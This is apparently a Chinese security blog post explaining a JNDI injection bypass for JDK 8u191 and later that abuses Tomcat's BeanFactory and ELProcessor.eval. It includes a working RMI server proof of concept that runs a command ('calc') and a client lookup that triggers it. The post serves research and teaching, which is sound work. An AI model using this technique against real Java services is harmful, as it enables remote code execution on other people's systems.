前言
经典的JNDI注入在jdk8u191以上的版本默认被限制了加载远程工厂类,但可以通过加载一些特殊的本地工厂,达到执行命令的效果
比如常见的tomcat依赖里的BeanFactory就能实现类似的效果
经典payload
服务端
package org.example.rmi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import org.apache.naming.ResourceRef;
public class ReferenceServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "a=eval"));
resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"calc\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("aaa", referenceWrapper);
System.out.println("rmi服务端开启了");
}
}
客户端
package org.b1ackc4t.se.jndi;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JClient {
public static void main(String[] args) throws NamingException {
InitialContext ctx = new InitialContext();
Object obj = ctx.lookup("rmi://192.168.48.131:1099/aaa");
System.out.println(obj);
}
}
探究原理
我们在BeanFactory#getObjectInstance打下断点
这里加载了目标类,然后又通过public的无参构造方法创建了对象
后面再通过forceString传递一个方法名进去,这个方法只能是public,并且只有一个参数是String
最后调用这个方法
总结
tomcat下的BeanFactory可以实现调用某个类的某个方法,但要满足以下条件
- 该类存在一个无参的public构造方法
- 被调用的方法必须是public的且只有一个String类型的参数
常用的payload是调用javax.el.ELProcessor#eval,但是这个只有在tomcat8以后才有,存在一定的局限,有大佬也找到了其他可用的姿势,参考:https://tttang.com/archive/1405/
|